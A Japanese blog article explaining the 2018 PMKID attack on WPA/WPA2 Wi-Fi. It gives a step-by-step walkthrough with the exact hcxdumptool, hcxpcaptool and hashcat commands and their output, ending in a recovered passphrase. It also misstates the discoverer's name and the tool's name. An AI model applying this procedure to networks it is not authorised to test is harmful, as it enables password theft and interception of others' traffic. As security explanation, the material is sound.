PMKIDを悪用するWiFiハッキング手法を発見。

f:id:nanashi0x:20180808204658p:plain

Illustrations by Vecteezy.com

 

WPA/WPA2を対象とした、最新のWiFiハッキング技術が明らかになりました。

ハッカーが最新のルーターWiFiパスワードを簡単に解読できるようにするものです。

この記事では、新たに発見されたWiFiハッキング手法に関して、簡単に解説していきます。

 

新たに発見されたWiFiハッキング手法の概要

誰が発見したのか?

この界隈では有名なパスワードクラッキングツールであるHashcatの開発者、Jens 'Atom' Steve氏が発見しました。

どのようなWiFiハッキングなのか?

発見されたWiFiハックは、Pairwise Master Key Identifier(PMKID)ベースのローミング機能を有効にしたWPA/WPA2ワイヤレスネットワークプロトコルが対象となります。

このWiFiハッキングに成功したらどうなるのか?

新たに発見されたWiFiハッキング方法を悪用すれば、攻撃者はPre-shared Key(PSK)ログインパスワードを回復し、Wi-Fiネットワークをハックしてインターネット通信を盗聴する可能性があります。

このWiFiハッキングを成立させるための条件は?

新しい攻撃は、アクセスポイントから要求を出した後、単一のEAPOL(Extensible Authentication Protocol over LAN)フレームを使用するRSN IEロバストセキュリティネットワークの情報要素)上で行われます。

ちなみに、ロバストセキュリティネットワークとは、802.11ワイヤレスネットワーク上で安全な通信を確立するためのプロトコルの事です。

クライアントとアクセスポイント間の接続を確立するために必要な鍵であるPMKIDをその機能の1つとして実装されています。

このWiFiハッキングの対象となるルーターは?

新しいWiFiハックは、ローミング機能が有効になっているネットワークに対してのみ動作します。

追記(2018年8月9日):

WiFiルーターローミング機能とは、自動で別のアクセスポイントに切り替わる機能の事です。

例えば、手元のスマホが接続済のα社製のアクセスポイントAが設置されている部屋から、別の部屋に移動したケースを考えてみます。

別の部屋にはα社製のアクセスポイントBが設置されており、アクセスポイントAからのWiFiシグナルは届きません。

その場合、自動で手元のスマホがアクセスポイントBへ接続し直します。これがローミング機能です。

現状、出回っているほとんどのルーターローミング機能を搭載しており、デフォルトで有効になっている事が殆どです。

そのため、ほぼ全てのルーターがこの脆弱性の対象という事になってしまいます。

HackMonger (@smokyjp)さん、ご指摘ありがとうございました!)

 

WiFiハッキングの手順

続いてこのセクションでは、今回新たに発見されたWiFiハッキングの手順を解説していきます。

WiFiハッキングを行うために必要なツール

尚、このWiFiハッキング手法を行うために必要なツールは、以下の3つです。

WiFiハッキングの手順

1.PMKIDを要求

攻撃者は、hcxdumptool(v4.2.0以上)などのツールを使用して、ターゲットアクセスポイントからPMKIDを要求し、受信したフレームをファイルにダンプします。

入力コード
$ ./hcxdumptool -o test.pcapng -i wlp39s0f3u4u5 --enable_status
 
アウトプット
start capturing (stop with ctrl+c)
INTERFACE:...............: wlp39s0f3u4u5
FILTERLIST...............: 0 entries
MAC CLIENT...............: 89acf0e761f4 (client)
MAC ACCESS POINT.........: 4604ba734d4e (start NIC)
EAPOL TIMEOUT............: 20000
DEAUTHENTICATIONINTERVALL: 10 beacons
GIVE UP DEAUTHENTICATIONS: 20 tries
REPLAYCOUNTER............: 62083
ANONCE...................: 9ddca61888470946305b27d413a28cf474f19ff64c71667e5c1aee144cd70a69

 

APがアソシエーション要求パケットを受信してPMKIDの送信をサポートすると、しばらくすると以下のように「FOUND PMKID」というメッセージが表示されます。

[13:29:57 - 011] 89acf0e761f4 -> 4604ba734d4e <ESSID> [ASSOCIATIONREQUEST, SEQUENCE 4]
[13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [ASSOCIATIONRESPONSE, SEQUENCE 1206]
[13:29:57 - 011] 4604ba734d4e -> 89acf0e761f4 [FOUND PMKID]
注意:

Wi-Fiチャンネルのノイズに基づいて、PMKIDを受信するまでに時間がかかることがある。そのため、成功させるためにはhcxdumptoolを10分間程度実行することをお勧めします。

 

2.1で出力したフレームをハッシュ変換

hcxpcaptoolツールを使用して、フレームの出力(pcapng形式)をHashcatが受け取れるハッシュ形式に変換。

入力コード
$ ./hcxpcaptool -z test.16800 test.pcapng
 
アウトプット
start reading from test.pcapng

summary:
--------
file name....................: test.pcapng
file type....................: pcapng 1.0
file hardware information....: x86_64
file os information..........: Linux 4.17.11-arch1
file application information.: hcxdumptool 4.2.0
network type.................: DLT_IEEE802_11_RADIO (127)
endianess....................: little endian
read errors..................: flawless
packets inside...............: 66
skipped packets..............: 0
packets with FCS.............: 0
beacons (with ESSID inside)..: 17
probe requests...............: 1
probe responses..............: 11
association requests.........: 5
association responses........: 5
authentications (OPEN SYSTEM): 13
authentications (BROADCOM)...: 1
EAPOL packets................: 14
EAPOL PMKIDs.................: 1

1 PMKID(s) written to test.16800
 
ハッシュ化したファイルの中身
2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3a

カラムは以下のとおり(すべて16進数でエンコードされている)。

  • PMKID
  • MAC AP
  • MACステーション
  • ESSID
注意:

必須ではないですが、hcxpcaptoolを使う際に、-E -Iと-Uを使用することをお勧め。これらのファイルを使用してハッシュキャットにフィードすることが出来るようです。

ちなみに、各オプションについてですが、それぞれ以下のような設定です。

 
コード
$ ./hcxpcaptool -E essidlist -I identitylist -U usernamelist -z test.16800 test.pcapng

 

3.パスワードのクラック

ここでようやく、前セクションで作成したハッシュファイルを、一般的なハッシュタイプとして攻撃することができます。使用する必要があるハッシュモードは16800です。

コード
$ ./hashcat -m 16800 test.16800 -a 3 -w 3 '?l?l?l?l?l?lt!'

 

アウトプット
hashcat (v4.2.0) starting...

OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 1080, 2028/8112 MB allocatable, 20MCU
* Device #2: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
* Device #3: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU
* Device #4: GeForce GTX 1080, 2029/8119 MB allocatable, 20MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates

Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt
* Brute-Force
* Slow-Hash-SIMD-LOOP

Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63

Watchdog: Temperature abort trigger set to 90c

2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3a:hashcat!
#この行を右にスクロールすると、元のパスワードが表示されています。
Session..........: hashcat Status...........: Cracked Hash.Type........: WPA-PMKID-PBKDF2 Hash.Target......: 2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf...a39f3a Time.Started.....: Thu Jul 26 12:51:38 2018 (41 secs) Time.Estimated...: Thu Jul 26 12:52:19 2018 (0 secs) Guess.Mask.......: ?l?l?l?l?l?lt! [8] Guess.Queue......: 1/1 (100.00%) Speed.Dev.#1.....: 408.9 kH/s (103.86ms) @ Accel:64 Loops:128 Thr:1024 Vec:1 Speed.Dev.#2.....: 408.6 kH/s (104.90ms) @ Accel:64 Loops:128 Thr:1024 Vec:1 Speed.Dev.#3.....: 412.9 kH/s (102.50ms) @ Accel:64 Loops:128 Thr:1024 Vec:1 Speed.Dev.#4.....: 410.9 kH/s (104.66ms) @ Accel:64 Loops:128 Thr:1024 Vec:1 Speed.Dev.#*.....: 1641.3 kH/s Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 66846720/308915776 (21.64%) Rejected.........: 0/66846720 (0.00%) Restore.Point....: 0/11881376 (0.00%) Candidates.#1....: hariert! -> hhzkzet! Candidates.#2....: hdtivst! -> hzxkbnt! Candidates.#3....: gnxpwet! -> gwqivst! Candidates.#4....: gxhcddt! -> grjmrut! HWMon.Dev.#1.....: Temp: 81c Fan: 54% Util: 75% Core:1771MHz Mem:4513MHz Bus:1 HWMon.Dev.#2.....: Temp: 81c Fan: 54% Util:100% Core:1607MHz Mem:4513MHz Bus:1 HWMon.Dev.#3.....: Temp: 81c Fan: 54% Util: 94% Core:1683MHz Mem:4513MHz Bus:1 HWMon.Dev.#4.....: Temp: 81c Fan: 54% Util: 93% Core:1620MHz Mem:4513MHz Bus:1 Started: Thu Jul 26 12:51:30 2018 Stopped: Thu Jul 26 12:52:21 2018

まとめ

以上がHackcatの開発者・Steve氏によって発見されたWPA/WPA2の脆弱性を悪用したWiFiハッキング手法の解説となります。

2018年中に本格的に始動すると言われているWPA3セキュリティスタンダードが注目されている中、WPA/WPA2ワイヤレスネットワークプロトコルに潜む脆弱性が発見されてしまい、WPA3の登場が更に急がれる形となってしまいました。

このWiFiハッキング手法は、次世代ワイヤレスセキュリティプロトコルWPA3に対しても機能しません。なぜなら、WPA3は、「Simultaneous Authentication of Equals」(SAE)という近代的な鍵プロトコルを使用しており、攻撃するのがずっと難しいからです。

 

 【参考】